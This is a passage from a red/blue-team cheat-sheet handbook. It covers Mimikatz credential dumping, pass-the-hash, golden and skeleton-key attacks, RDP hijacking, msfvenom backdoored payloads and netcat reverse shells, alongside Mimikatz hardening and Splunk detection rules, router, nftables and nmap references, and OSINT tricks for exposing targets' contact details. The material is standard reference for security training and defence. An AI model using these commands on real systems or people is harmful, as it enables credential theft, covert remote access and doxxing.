context of a user account and the
local computer’s AD computer account.
Unlike kerberos::list, sekurlsa uses
memory reading and is not subject to
key export restrictions. sekurlsa can
access tickets of others sessions
(users).
TOKEN::List
list all tokens of the system
TOKEN::Elevate
impersonate a token. Used to elevate
permissions to SYSTEM (default) or
find a domain admin token on the box
TOKEN::Elevate
/domainadmin
impersonate a token with Domain Admin
credentials.
Mimikatz - Execute commands
SINGLE COMMAND
PS C:\temp\mimikatz> .\mimikatz "privilege::debug"
"sekurlsa::logonpasswords" exit
MULTIPLE COMMANDS (Mimikatz console)
PS C:\temp\mimikatz> .\mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest
Mimikatz - Extract passwords
**Microsoft disabled lsass clear text storage since Win8.1 /
2012R2+. It was backported (KB2871997) as a reg key on Win7 / 8 /
2008R2 / 2012 but clear text is still enabled.
mimikatz_command -f sekurlsa::logonPasswords full
mimikatz_command -f sekurlsa::wdigest
205
# to re-enable wdigest in Windows Server 2012+
# in
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProvide
rs\WDigest
# create a DWORD 'UseLogonCredential' with the value 1.
reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /f /d 1
!!!!To take effect, conditions are required:
Win7 / 2008R2 / 8 / 2012 / 8.1 / 2012R2:
Adding requires lock
Removing requires signout
Win10:
Adding requires signout
Removing requires signout
Win2016:
Adding requires lock
Removing requires reboot
Mimikatz - Pass-The-Hash
sekurlsa::pth /user:<USER> /domain:<DOMAINFQDN>
/aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c9409
8a9e9
sekurlsa::pth /user:<USER> /domain:<DOMAINFQDN>
/ntlm:cc36cf7a8514893efccd332446158b1a
/aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c9409
8a9e9
Mimikatz - Mini Dump
Dump the lsass process.
# HTTP method
certutil -urlcache -split -f
http://live.sysinternals.com/procdump.exe
C:\Users\Public\procdump.exe
C:\Users\Public\procdump.exe -accepteula -ma lsass.exe lsass.dmp
# SMB method
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
Then load it inside Mimikatz.
mimikatz # sekurlsa::minidump lsass.dmp
Switch to minidump
mimikatz # sekurlsa::logonPasswords
Mimikatz - Golden ticket
206
.\mimikatz kerberos::golden /admin:ADMINACCOUNTNAME
/domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID
/krbtgt:KRBTGTPASSWORDHASH /ptt
Example
.\mimikatz "kerberos::golden /admin:ADMINACCOUNTNAME
/domain:DOMAINFQDN /id:9999 /sid:S-1-5-21-135380161-102191138-
581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0
/endin:600 /renewmax:10080 /ptt" exit
Mimikatz - Skeleton key
privilege::debug
misc::skeleton
# map the share
net use p: \\WIN-PTELU2U07KG\admin$ /user:john mimikatz
# login as someone
rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab
Mimikatz - RDP session takeover
Run tscon.exe as the SYSTEM user, you can connect to any session
without a password.
privilege::debug
token::elevate
ts::remote /id:2
# get the Session ID you want to hijack
query user
create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
net start sesshijack
Mimikatz - Credential Manager & DPAPI
# check the folder to find credentials
dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\*
# check the file with mimikatz
$ mimikatz dpapi::cred
/in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629
F5AA74CD934ECD2F88D64ECD0
# find master key
$ mimikatz !sekurlsa::dpapi
# use master key
$ mimikatz dpapi::cred
/in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\2647629
F5AA74CD934ECD2F88D64ECD0
/masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed50630432739
40f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b
6a17b
207
REFERENCE:
https://github.com/gentilkiwi/mimikatz
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology
%20and%20Resources/Windows%
https://adsecurity.org/?page_id=182120-%20Mimikatz.md
https://pentestlab.blog/2018/04/10/skeleton-key/
M
M
MIMIKATZ_Defend
BLUE TEAM
CONFIGURATION/HUNT
WINDOWS
Methods to defend against and detect mimikatz usage
MIMIKATZ DEFENSE
Disable Debug Permissions
Allow only a certain group to have debug permissions:
Group Policy Management Editor -> Windows Settings -> Security
Settings -> Local Policies -> User Rights Assignment -> Debug
programs -> Define these policy settings:
Disable WDigest Protocol
Don’t allow plaintext passwords in LSASS
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProvide
rs\WDigest
UseLogonCredential DWORD 0
Enable LSA Protection
Create registry key RunAsPPL under:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA
RunAsPPL DWORD 1
Restricted Admin Mode
Create registry key DisableRestrictedAdmin
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
DWORD 0
Create registry key DisableRestrictedAdminOutboundCreds
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
DWORD 1
Ensure "Restrict delegation of credentials to remote servers"
policy is enforced across the domain. "Require Restricted Admin"
Change Credential Caching to 0
Change the configuration settings to zero to disallow credential
caching:
208
Computer Configuration -> Windows Settings -> Local Policy ->
Security Options -> Interactive Logon: Number of previous logons to
cache -> 0
Enable Protected Users Group
Group enables domain administrators to protect privilege users like
Local Administrators. Accounts can be added into the “Protected
Users” group from PowerShell by executing the following command:
Add-ADGroupMember –Identity 'Protected Users' –Members Alice
DETECT MIMIKATZ
Sysmon Event 10 (Process Accessed)
Splunk query similar to this:
EventCode=10 | where (GrantedAccess="0x1010" AND TargetImage LIKE
"%lsass.exe")
Windows Event 4656
Splunk query similar to this:
EventCode=4656 OR EventCode=4663 | eval
HandleReq=case(EventCode=4656 AND Object_Name LIKE "%lsass.exe" AND
Access_Mask=="0x143A", Process_ID) | where (HandleReq=Process_ID)
or
EventCode=4656 | where (Object_Name LIKE "%lsass.exe" AND
Access_Mask=="0x143A")
Sysmon Event 1 (ProcessCreate) & Event 10 (ProcessAccessed)
Elaborate a correlation rule
SEQUENCE:
1. EventCode=1 | where (match(ParentImage, "cmd.exe") AND
match(IntegrityLevel, "high"))
2. EventCode=10 | where (match(GrantedAccess, "0x1010")
AND !match(SourceImage, "svchost\.exe") AND match(TargetImage,
"lsass\.exe"))
REFERENCE:
https://www.eideon.com/2017-09-09-THL01-Mimikatz/
https://medium.com/blue-team/preventing-mimikatz-attacks-ed283e7ebdd5
M
M
MSFVENOM
RED TEAM
PAYLOADS
WINDOWS/LINUX/MacOS
MsfVenom is a Metasploit standalone payload generator as a
replacement for msfpayload and msfencode.
BINARIES
209
msfvenom -p windows/meterpreter/reverse_tcp
LHOST={IP} LPORT={##} -f exe > example.exe
Creates a simple
TCP Payload for
Windows
msfvenom -p windows/meterpreter/reverse_http
LHOST={IP} LPORT={##} -f exe > example.exe
Creates a simple
HTTP Payload for
Windows
msfvenom -p
linux/x86/meterpreter/reverse_tcp LHOST={IP}
LPORT={##} -f elf > example.elf
Creates a simple
TCP Shell for
Linux
msfvenom -p osx/x86/shell_reverse_tcp
LHOST={IP} LPORT={##} -f macho >
example.macho
Creates a simple
TCP Shell for Mac
msfvenom -p android/meterpreter/reverse/tcp
LHOST={IP} LPORT={##} R > example.apk
Creats a simple
TCP Payload for
Android
WEB PAYLOAD
msfvenom -p php/meterpreter_reverse_tcp
LHOST={IP} LPORT={##} -f raw > example.php
Creats a Simple
TCP Shell for PHP
msfvenom -p windows/meterpreter/reverse_tcp
LHOST={IP} LPORT={##} -f asp > example.asp
Creats a Simple
TCP Shell for ASP
msfvenom -p java/jsp_shell_reverse_tcp
LHOST={IP} LPORT={##} -f raw > example.jsp
Creats a Simple
TCP Shell for
Javascript
msfvenom -p java/jsp_shell_reverse_tcp
LHOST={IP} LPORT={##} -f war > example.war
Creats a Simple
TCP Shell for WAR
WINDOWS PAYLOAD
msfvenom -l encoders
Lists all
avalaible encoders
msfvenom -x base.exe -k -p
windows/meterpreter/reverse_tcp LHOST={IP}
LPORT={##} -f exe > example.exe
Binds an exe with
a Payload
(Backdoors an exe)
msfvenom -p windows/meterpreter/reverse_tcp
LHOST={IP} LPORT={##} -e x86/shikata_ga_nai
-b ‘\x00’ -i 3 -f exe > example.exe
Creates a simple
TCP payload with
shikata_ga_nai
encoder
msfvenom -x base.exe -k -p
windows/meterpreter/reverse_tcp LHOST={IP}
LPORT={##} -e x86/shikata_ga_nai -i 3 -b
“\x00” -f exe > example.exe
Binds an exe with
a Payload and
encodes it
MACOS PAYLOAD
msfvenom -a x86 --platform OSX -p
osx/x86/isight/bind_tcp -b "\x00" -f elf -o
/tmp/osxt2
msfvenom -p python/meterpreter/reverse_tcp
LHOST=10.0.0.4 LPORT=443 > pyterpreter.py
Creates a Python
Shell for Mac
msfvenom -p osx/x86/shell_reverse_tcp
LHOST={IP} LPORT={##} -f macho >
example.macho
Creates a simple
TCP Shell for Mac
REFERENCE:
210
https://nitesculucian.github.io/2018/07/24/msfvenom-cheat-sheet/
N
N
N
NETCAT
RED/BLUE TEAM
ADMINISTRATION
WINDOWS/LINUX/MacOS
netcat is a command-line or shell application that can be used for
a variety of uses including transferring files, establishing remote
shells, chat, and more!
Port Scan
nc -nvz <IP> <PORT/RANGE>
nc -nvz 192.168.1.23 80
nc -nvz 192.168.1.23 0-1000
Send File
#Client
nc -lvp <LPORT> > example_sent.txt
#Server
nc -w3 <CLIENT_IP> <PORT> < example.txt
Receive File
#Server
nc -lvp <LPORT> < example.txt
#Client
nc -w3 <SERVER_IP> <PORT> > example_exfil.txt
Execute Remote Script
211
#Server
nc -lvp <LPORT> -e ping.sh <IP>
#Client
nc -nv <SERVER_IP> <PORT>
Encrypted Chat (NCAT)
#Server
ncat -nlvp <LPORT> --ssl
#Client
ncat -nv <SERVER_IP> <PORT>
Banner Grab
nc <TARGET_IP> <PORT>
nc www.netmux.com 80
HEAD / HTTP/1.0
Host: www.netmux.com
Shells/Reverse Shells
nc -e /bin/sh 10.0.0.1 <LPORT>
nc -e /bin/bash 10.0.0.1 <LPORT>
nc -c bash 10.0.0.1 <LPORT>
N
N
NETWORK DEVICE_Commands
RED/BLUE TEAM
NETWORK DEVICES
4 MODELS
CISCO
JUNIPER
NOKIA
HUAWEI
IOS XR
JUNOS
SROS
HVRP
BASIC
show
show
show
display
exit
exit/up
exit all
quit
run
run
–
–
end
exit
exit all
return
| include
| match
| match
| include
… formal |
| display-set
–
–
reload
request system
reboot
admin reboot
now
reboot
GENERAL CONFIG
show running-
config
show
configuration
admin display-
config
display
current-
configuration
show startup-
config
–
–
display
saved-
configuration
212
configure
terminal
configure /
edit
configure
system view
hostname
hostname
system host-
name hostname
system
name systemnam
e
sysname syst
emname
show (after
conf change)
show | compare
info (after
conf change)
–
commit
commit
admin save
save
shut down
disable
shut down
shut down
no shut down
delete
interfaces x
disable
no shutdown
undo shut
down
no
delete
no
undo
SHOW
show clock
show system
uptime
show system
time
display clock
show ntp status show ntp status show system ntp
display ntp-
service
status
show history
show cli
history
history
display
history-
command
show platform
show chassis
fpc
show
card, show mda
display
device pic-
status
admin show
platform
show chassis
fpc detail
show card
detail, show
mda detail
display
device
show
environment
show chassis
environment
–
–
show inventory
show chassis
hardware
–
–
admin show
environment |
include PM
show chassis
hardware |
match PSM
show
chassis enviro
nment power-
supply
display power
show diags
show chassis
hardware
show chassis
environment
–
show memory
summary
show chassis
routing engine
show system
memory-pools
display
memory-usage
show processes
cpu
show system
processes
extensive
show system cpu
display cpu-
usage
show users
show system
users
show system
users
display users
show version
show version
show version
display
version
show license
–
–
display
license
213
–
show system
alarms
show system
alarms
display alarm
all / active
–
show chassis
alarms
–
–
show arp
show arp
show router arp
display arp
all
show interface
show interfaces
show router
interface
display ip
interface
show interface
interface
show interfaces
interface
show port port
display ip
interface
interface
show interface
interface
statistics
show port port
statistics
show interface
brief
show interface
terse
show router
interface
summary
display ip
interface
brief
show policy-map
show class-of-
service
interface
show router
policy
–
show policy-map
interface
show interfaces
queue
–
–
show route
show route
show router
route-table
display ip
routing-table
show route
summary
show route
summary
show router
route-table
summary
–
show route ipv6
show route
table inet6.0
show router
route-table
ipv6
display ipv6
routing-table
show route-map
show policy
show router
policy
display
route-policy
show snmp
show snmp
statistics
show snmp
counters
display snmp
statistics
show tcp
show system
connections
show system
connections
display tcp
statistics
show ipv4
traffic
show system
statistics
–
display ip
statistics
show protocols
show route
protocol
–
–
show flash
show flash
file ( +
dir )
dir flash:
show filesystem
show system
storage
–
dir
show bfd
session
show bfd
session
show router bfd
session
display bfd
session all
show bfd
interfaces
location x
–
show router bfd
interface
display bfd
interface
214
show interfaces
be x
show interfaces
aex
show lag x
display
interface
Eth-Trunk x
show interfaces
be x details
show interfaces
aex details
show lag x
detail
–
–
–
show lag x
associations
–
TROUBLESHOOT
ping ip_address
ping ip_addres
s
ping ip_addres
s
ping ip_addr
ess
traceroute ip_
address
traceroute ip_
address
traceroute ip_
address
tracert ip_a
ddress
debug
debug
debug
debugging
no debug
undebug all
no debug
undo
debugging
monitor
interface
interface
monitor
interface
interface
monitor port
port
–
terminal
monitor
monitor start
messages
–
terminal
monitor
/terminal
trapping
terminal
monitor disable
monitor stop
messages
–
undo termina
l monitor
show tech-
support
request support
info
admin tech-
support
display
diagnostic-
information
show logging
show log
messages
show log log-id
99 (all)
display
logbuffer
show
controllers
interface
show interfaces
diagnostic
optics
interface
–
display
controller
show access-
lists
show firewall
show filter ip
x
display acl x
CLEAR
clear
clear
clear
reset
clear counters
interface
clear interface
statistics
interface
clear counter
interface xx
reset
counters
interface xx
clear arp-cache clear arp
clear router
arp
reset arp
clear cef
–
–
reset ip
fast-
forwarding
clear route *
clear ip route
clear router
route-adv
reset ip
forwarding-
table
statistis
protocol all
215
clear access-
list counters
clear firewall
clear filter
–
clear line line
request system
logout username –
–
OSPF
show ospf
(summary)
show ospf
overview
show router
ospf status
display ospf
brief
show ospf
database
show ospf
database
show router
ospf database
display ospf
lsdb
show ospf
interface
show ospf
interface
show router
ospf interface
display ospf
interface
show ospf
neighbor
show ospf
neighbor
show router
ospf neighbor
display ospf
nexthop
show route ospf
show route
protocol ospf
show router
ospf routes
display ip
routing-table
protocol ospf
show ospf
virtual-links
–
show router
ospf virtual-
link
display ospf
vlink
show ospf
statistics
show ospf
statistics
show router
ospf statistics
display ospf
statistics
ISIS
display isis
interface
show isis
interface
show router
isis interface
display isis
interface
show clns
neighbor
show isis
adjacency
show router
isis adjaceny
display isis
peer
show isis
database
show isis
database
show router
isis database
display isis
lsdb
show isis
topology
show
isis topology
show router
isis topology
–
show isis
routes
show isis route
show router
isis routes
display isis
route
show isis spf-
log
show isis spf
log
show router
isis spf-log
display isis
spf-log
show isis
statistics
show isis
statistics
show router
isis statistics
display isis
statistics
clear clns
neighbors
clear isis
adjacency
clear router
isis adjacency
–
clear isis *
clear isis
database
clear router
isis database
–
clear isis
statistics
clear isis
statistics
clear router
isis statistics –
BGP
show bgp
show route
protocol bgp
show router bgp
routes
display bgp
routing-table
show bgp
community
show route
community
–
–
show bgp
neighbors
show bgp
neighbor
show router bgp
neighbor
display bgp
peer
216
show bgp peer-
group
show bgp group
show router bgp
group
display bgp
group
show bgp
summary
show bgp
summary
show router bgp
summary
display bgp
peer
show route bgp
show route
protocol bgp
show router bgp
routes
display ip
routing-table
protocol bgp
clear bgp
clear bgp
neighbor
clear bgp
reset bgp all
clear bgp
nexthop
registration
clear bgp
neighbor
clear bgp next-
hop
–
MPLS
show mpls
interface
show mpls
interface
show router
mpls interfaces
display mpls
interface
show mpls ldp
summary
show ldp
overview
show mpls ldp
summary
display mpls
ldp all
show mpls ldp
interface
show mpls ldp
interface
show router ldp
interface
display mpls
ldp interface
show mpls ldp
bindings
–
show router ldp
bindings
–
show mpls ldp
neighbor brief
show ldp
neighbor
show router ldp
session
display mpls
ldp adjacency
show rsvp
interface
show rsvp
interface
show router
rsvp interface
display mpls
rsvp-te
interface
show rsvp
neighbors
show rsvp
neighbor
show router
rsvp neighbors
display mpls
rsvp-te peer
show rsvp
session
show rsvp
session
show router
rsvp session
display mpls
rsvp-te
session x
show rsvp
counters
show rsvp
statistics
show router
rsvp statistics
display mpls
rsvp-te
statistics
global
MULTICAST
show mfib/mrib
route
show multicast
route
show mfib/mrib
route
display
multicast
routing-table
–
show multicast
statistics
–
display
multicast
flow-
statistic
show pim
interface
show pim
interfaces
show router pim
interfaces
display pim
interface
show pim
neighbor
show pim
interfaces
show router
pim neighbor
display pim
neighbor
show pim group-
map
show pim group
show router pim
group
–
217
show ip pim rp
mapping
show pim rps
show router pim
rp
display pim
rp-info
show pim
traffic
show pim
statistics
show router pim
statistics
–
show mroute
show mfib
–
display
multicast
routing-table
show igmp
interface
show igmp
interface
show router
igmp interface
display igmp
interface
show igmp
groups
show igmp group
show router
igmp group
–
show igmp
traffic
show igmp
statistics
show router
igmp statistic
s
–
show mld
interface
show mld
interface
show router mld
interface
display igmp
interface
show mld groups show mld group
show router mld
group
display igmp
group
show mld
traffic
show mld
statistics
show router mld
statistics
–
VRRP
show vrrp
interface
interface
show vrrp
interface
interface
show router
vrrp instance
interface
display vrrp
interface
interface
show vrrp
status
show vrrp brief –
display vrrp
brief
show vrrp
summary
show vrrp
summary
–
–
show vrrp
statistics
–
show vrrp
statistics
display vrrp
statistics
REFERENCE:
https://ipcisco.com/cli-commands-cheat-sheets/
http://labnario.com/huawei-cheat-sheets/
N
N
NFTABLES
RED/BLUE TEAM
FIREWALL
LINUX
nftables (netfilter tables) is the successor to iptables. It
replaces the existing iptables, ip6tables, arptables and ebtables
framework.
TABLES
ip
Used for IPv4 related chains
ip6
Used for IPv6 related chains
arp
Used for ARP related chains
bridge
Used for bridging related chains
inet
Mixed ipv4/ipv6 chains
218
CHAINS
filter
for filtering packets
route
for rerouting packets
nat
for performing Network Address Translation
HOOKS
prerouting
This is before the routing decision, all packets
entering the machine hits this chain
input
All packets for the local system hits this hook
forward
Packets not for the local system, those that need
to be forwarded hits this hook
output
Packets that originate from the local system pass
this hook
postrouting
This hook is after the routing decision, all
packets leaving the machine hits this chain
RULES
ip
IP protocol
ip6
IPv6 protocol
tcp
TCP protocol
udp
UDP protocol
udplite
UDP-lite protocol
sctp
SCTP protocol
dccp
DCCP protocol
ah
Authentication headers
esp
Encrypted security payload headers
ipcomp
IPcomp headers
icmp
icmp protocol
icmpv6
icmpv6 protocol
ct
Connection tracking
meta
Meta properties such as interfaces
MATCHES
MATCH
DESCRIPTION
ip
version
Ip Header version
hdrlength
IP header length
tos
Type of Service
length
Total packet length
id
IP ID
frag-off
Fragmentation offset
ttl
Time to live
protocol
Upper layer protocol
checksum
IP header checksum
saddr
Source address
daddr
Destination address
ip6
version
IP header version
priority
flowlabel
Flow label
length
Payload length
nexthdr
Next header type (Upper layer protocol number)
hoplimit
Hop limit
219
saddr
Source Address
daddr
Destination Address
tcp
sport
Source port
dport
Destination port
sequence
Sequence number
ackseq
Acknowledgement number
doff
Data offset
flags
TCP flags
window
Window
checksum
Checksum
urgptr
Urgent pointer
udp
sport
Source port
dport
destination port
length
Total packet length
checksum
Checksum
udplite
sport
Source port
dport
destination port
cscov
Checksum coverage
checksum
Checksum
sctp
sport
Source port
dport
destination port
vtag
Verification tag
checksum
Checksum
dccp
sport
Source port
dport
Destination port
ah
nexthdr
Next header protocol (Upper layer protocol)
hdrlength
AH header length
spi
Security Parameter Index
sequence
Sequence Number
esp
spi
Security Parameter Index
sequence
Sequence Number
ipcomp
nexthdr
Next header protocol (Upper layer protocol)
flags
Flags
cfi
Compression Parameter Index
icmp
type
icmp packet type
icmpv6
type
icmpv6 packet type
ct
state
State of the connection
direction
Direction of the packet relative to the connection
status
Status of the connection
220
mark
Connection mark
expiration
Connection expiration time
helper
Helper associated with the connection
l3proto
Layer 3 protocol of the connection
saddr
Source address of the connection for the given
direction
daddr
Destination address of the connection for the given
direction
protocol
Layer 4 protocol of the connection for the given
direction
proto-src
Layer 4 protocol source for the given direction
proto-dst
Layer 4 protocol destination for the given
direction
meta
length
Length of the packet in bytes: meta length > 1000
protocol
ethertype protocol: meta protocol vlan
priority
TC packet priority
mark
Packet mark
iif
Input interface index
iifname
Input interface name
iiftype
Input interface type
oif
Output interface index
oifname
Output interface name
oiftype
Output interface hardware type
skuid
UID associated with originating socket
skgid
GID associated with originating socket
rtclassid
Routing realm
STATEMENTS
accept
Accept the packet and stop the ruleset evaluation
drop
Drop the packet and stop the ruleset evaluation
reject
Reject the packet with an icmp message
queue
Queue the packet to userspace and stop the ruleset
evaluation
continue
return
Return from the current chain and continue at the
next rule of the last chain. In a base chain it is
equivalent to accept
jump
<chain>
Continue at the first rule of <chain>. It will
continue at the next rule after a return statement
is issued
goto
<chain>
after the new chain the evaluation will continue at
the last chain instead of the one containing the
goto statement
Initial setup iptables like chain setup, use ipv4-filter file
provided in the source:
nft -f files/nftables/ipv4-filter
221
List the resulting chain:
nft list table filter
**Note that filter as well as output or input are used as chain and
table name. Any other string could have been used.
BASIC RULES HANDLING
Drop output to a destination:
nft add rule ip filter output ip daddr 1.2.3.4 drop
Rule counters are optional with nftables. Counter keyword need to
be used to activate it:
nft add rule ip filter output ip daddr 1.2.3.4 counter drop
Add a rule to a network:
nft add rule ip filter output ip daddr 192.168.1.0/24 counter
Drop packet to port 80:
nft add rule ip filter input tcp dport 80 drop
Accept ICMP echo request:
nft add rule filter input icmp type echo-request accept
Combine filtering specify multiple time the ip syntax:
nft add rule ip filter output ip protocol icmp ip daddr 1.2.3.4
counter drop
Delete all rules in a chain:
nft delete rule filter output
Delete a specific rule use the -a flag on nft get handle number:
# nft list table filter -a
table filter {
chain output {
ip protocol icmp ip daddr 1.2.3.4 counter packets
5 bytes 420 drop # handle 10
...
Then delete rule 10 with:
nft delete rule filter output handle 10
Flush the filter table:
nft flush table filter
Insert a rule:
nft insert rule filter input tcp dport 80 counter accept
222
Insert or add a rule at a specific position. Get handle of the rule
where to insert or add a new one using the -a flag:
# nft list table filter -n -a
table filter {
chain output {
type filter hook output priority 0;
ip protocol tcp counter packets 82 bytes 9680 #
handle 8
ip saddr 127.0.0.1 ip daddr 127.0.0.6 drop #
handle 7
}
}
nft add rule filter output position 8 ip daddr 127.0.0.8 drop
Added a rule after the rule with handle 8
# nft list table filter -n -a
table filter {
chain output {
type filter hook output priority 0;
ip protocol tcp counter packets 190 bytes 21908 #
handle 8
ip daddr 127.0.0.8 drop # handle 10
ip saddr 127.0.0.1 ip daddr 127.0.0.6 drop #
handle 7
}
}
Add before the rule with a given handle:
nft insert rule filter output position 8 ip daddr 127.0.0.12 drop
Match filter on a protocol:
nft insert rule filter output ip protocol tcp counter
IPv6
Create IPv6 chains with filter in source:
nft -f files/nftables/ipv6-filter
Add rule:
nft add rule ip6 filter output ip6 daddr home.regit.org counter
List of the rules:
nft list table ip6 filter
Accept dynamic IPv6 configuration & neighbor discovery:
nft add rule ip6 filter input icmpv6 type nd-neighbor-solicit
accept
nft add rule ip6 filter input icmpv6 type nd-router-advert accept
223
Connection tracking accept all incoming packets of an established
connection:
nft insert rule filter input ct state established accept
Filter on interface accept all packets going out loopback
interface:
nft insert rule filter output oif lo accept
And for packet coming into eth2:
nft insert rule filter input iif eth2 accept
REFERENCE:
https://www.funtoo.org/Package:Nftables
https://home.regit.org/netfilter-en/nftables-quick-howto/comment-page-1/
https://git.netfilter.org/nftables/
N
N
NMAP
RED/BLUE TEAM
RECON/ASSET DISCOV
WINDOWS/LINUX/MacOS
Nmap (Network Mapper) is a free and open-source network scanner and
is used to discover hosts and services on a computer network by
sending packets and analyzing the responses.
COMMAND
DESCRIPTION
nmap 10.0.0.1
Scan a single IP
nmap www.testhostname.com
Scan a host
nmap 10.0.0.1-20
Scan a range of IPs
nmap 10.0.0.0/24
Scan a subnet
nmap -iL list-of-ips.txt
Scan targets from a
text file
nmap -p 22 10.0.0.1
Scan a single Port
nmap -p 1-100 10.0.0.1
Scan a range of ports
nmap -F 10.0.0.1
Scan 100 most common
ports (Fast)
nmap -p- 10.0.0.1
Scan all 65535 ports
nmap -sT 10.0.0.1
Scan using TCP connect
nmap -sS 10.0.0.1
Scan using TCP SYN
scan (default)
nmap -sU -p 123,161,162 10.0.0.1
Scan UDP ports
nmap -Pn -F 10.0.0.1
Scan selected ports -
ignore discovery
nmap -A 10.0.0.1
Detect OS and Services
nmap -sV 10.0.0.1
Standard service
detection
nmap -sV --version-intensity 5 10.0.0.1
More aggressive
Service Detection
224
nmap -sV --version-intensity 0 10.0.0.1
Lighter banner
grabbing detection
nmap -oN outputfile.txt 10.0.0.1
Save default output to
file
nmap -oX outputfile.xml 10.0.0.1
Save results as XML
nmap -oG outputfile.txt 10.0.0.1
Save results in a
format for grep
nmap -oA outputfile 10.0.0.1
Save in all formats
nmap -sV -sC 10.0.0.1
Scan using default
safe scripts
nmap --script-help=ssl-heartbleed
Get help for a script
nmap -sV -p 443 –script=ssl-
heartbleed.nse 10.0.0.1
Scan using a specific
NSE script
nmap -sV --script=smb* 10.0.0.1
Scan with a set of
scripts
nmap --script=http-title 10.0.0.0/24
Gather page titles
from HTTP services
nmap --script=http-headers 10.0.0.0/24
Get HTTP headers of
web services
nmap --script=http-enum 10.0.0.0/24
Find web apps from
known paths
nmap --script=asn-query,whois,ip-
geolocation-maxmind 10.0.0.0/24
Find Information about
IP address
REFERENCE:
https://nmap.org/
https://github.com/rackerlabs/scantron
https://github.com/cloudflare/flan
https://appsecco.com/books/subdomain-enumeration/
https://gtfobins.github.io/gtfobins/nmap/#shell
O
225
O
O
OSINT_Techniques
OSINT
ENUMERATION
N/A
GAP ANALYSIS METHODOLOGY
Gap analysis takes stock of the initial information that you have
and then applies four simple questions to identify what to do next.
This can be applied to bring structure and order to your OSINT
research. The four questions are:
1) What do I know?
2) What does this mean?
3) (So) What do I need to know?
4) How do I find out?
REFERENCE:
https://nixintel.info/osint/using-gap-analysis-for-smarter-osint-quiztime-
4th-march-2020/
PASSWORD RESET
Lack of standardization in approaches to password reset functions
which can be used to obtain the partial telephone numbers and
emails of target accounts.
FACEBOOK: You will be met with a screen displaying alternative
contact methods that can be used to reset the password as seen in
the post above. It also accurately uses the number of asterisks
that match the length of the email addresses.
GOOGLE: You will be asked to enter the last password remembered
which can be anything you want and the next screen will display a
redacted recovery phone number with the last 2 digits if one is on
file.
TWITTER: Entering a Twitter username will yield a redacted email
address on file with the first 2 characters of the email username
and the first letter of the email domain. It also accurately uses
the number of asterisks that match the length of the email address.
YAHOO: Will display a redacted alternate email address if on file.
Displays accurate character count as well as first character and
last 2 characters of email username along with full domain.
MICROSOFT: Displays redacted phone number with last 2 digits.
226
PINTEREST: Displays a user's profile as well as a redacted email
address without an accurate character count.
INSTAGRAM: Automatically initiates a reset and emails the user. Do
not use.
LINKEDIN: Automatically initiates a reset and emails the user. Do
not use.
FOURSQUARE: Automatically initiates a reset and emails the user. Do
not use.
REFERENCE:
https://exploits.run/password-osint/
REVERSE IMAGE SEARCHING
TIP: Crop the image to only the object/person you are interested in
finding before uploading to increase accuracy.
TIP: Increase the resolution of your image even if it becomes more
pixelated.
TIP: Best reverse image search engines in order: Yandex, Bing,
Google, TinEye.
Yandex Images
http://images.yandex.com/
Выберите файл (Choose file)
Введите адрес картинки (Enter image address)
Найти (Search)
Похожие картинки (Similar images)
Ещё похожие (More similar)
BING "Visual Search"
https://www.bing.com/visualsearch
GOOGLE Images
https://images.google.com/
TinEye
https://tineye.com/
REFERENCE:
https://www.bellingcat.com/resources/how-tos/2019/12/26/guide-to-using-
reverse-image-search-for-investigations/
https://www.reverse-image-search.com/
https://medium.com/@benjamindbrown/finding-mcafee-a-case-study-on-
geoprofiling-and-imagery-analysis-6f16bbd5c219
RECENT SATELLITE IMAGERY
227
To pull/view the most recent satellite imagery for:
GOOGLE EARTH Explore New Satellite Imagery Tool
Browse the following:
https://earth.google.com/web/@30.12736717,35.69560812,-
1530.56420216a,14967606.11368418d,35y,-
0h,0t,0r/data=CiQSIhIgOGQ2YmFjYjU2ZDIzMTFlOThiNTM2YjMzNGRiYmRhYTA
MAPBOX LIVE
Browse the following:
https://api.mapbox.com/styles/v1/mapbox/satellite-
v9.html?title=true&access_token=pk.eyJ1IjoibWFwYm94IiwiYSI6ImNpejY4
M29iazA2Z2gycXA4N2pmbDZmangifQ.-g_vE53SD2WrJ6tFX7QHmA#4.14/48.73/-
78.55
REFERENCE:
https://twitter.com/mouthofmorrison/status/1212840820019208192?s=11
https://www.azavea.com/blog/2020/01/02/how-to-find-the-most-recent-
satellite-imagery/
http://www.azavea.com/blog/2019/11/05/an-introduction-to-satellite-imagery-
and-machine-learning/
https://medium.com/the-view-from-space/landsaturated-6affa80a4f3f
CALCULATE PHOTO APPROX TIME OF DAY
Reviewing a photo calculate time of day if you know or can guess
approximate location with the below tools using the sun:
http://www.suncalc.net
https://www.suncalc.org
REFERENCE:
https://twitter.com/Versoliter/status/1201619477324017664
FIND TELEGRAMS GROUPS BY LOCATION
1. Use a mobile phone / Android Emulator
2. Download a GPS-spoofer
3. Spoof location to target location
4. Open up Telegram
5. Click on three dots
6. Click on "Contacts"
7. Click on "Add people nearby"
8. Have fun!
REFERENCE:
https://twitter.com/aware_online/status/1234951508325781509
FIND TWITTER ACCOUNTS BY EMAIL
1. Sign in on Gmail
2. Open "Contacts"
228
3. Add email address of target
4. Sign in on Twitter
5. Download "GoodTwitter" add-on
6. Open privacy settings
7. Click "Find friends"
8. Upload Gmail contacts
9. Have fun!
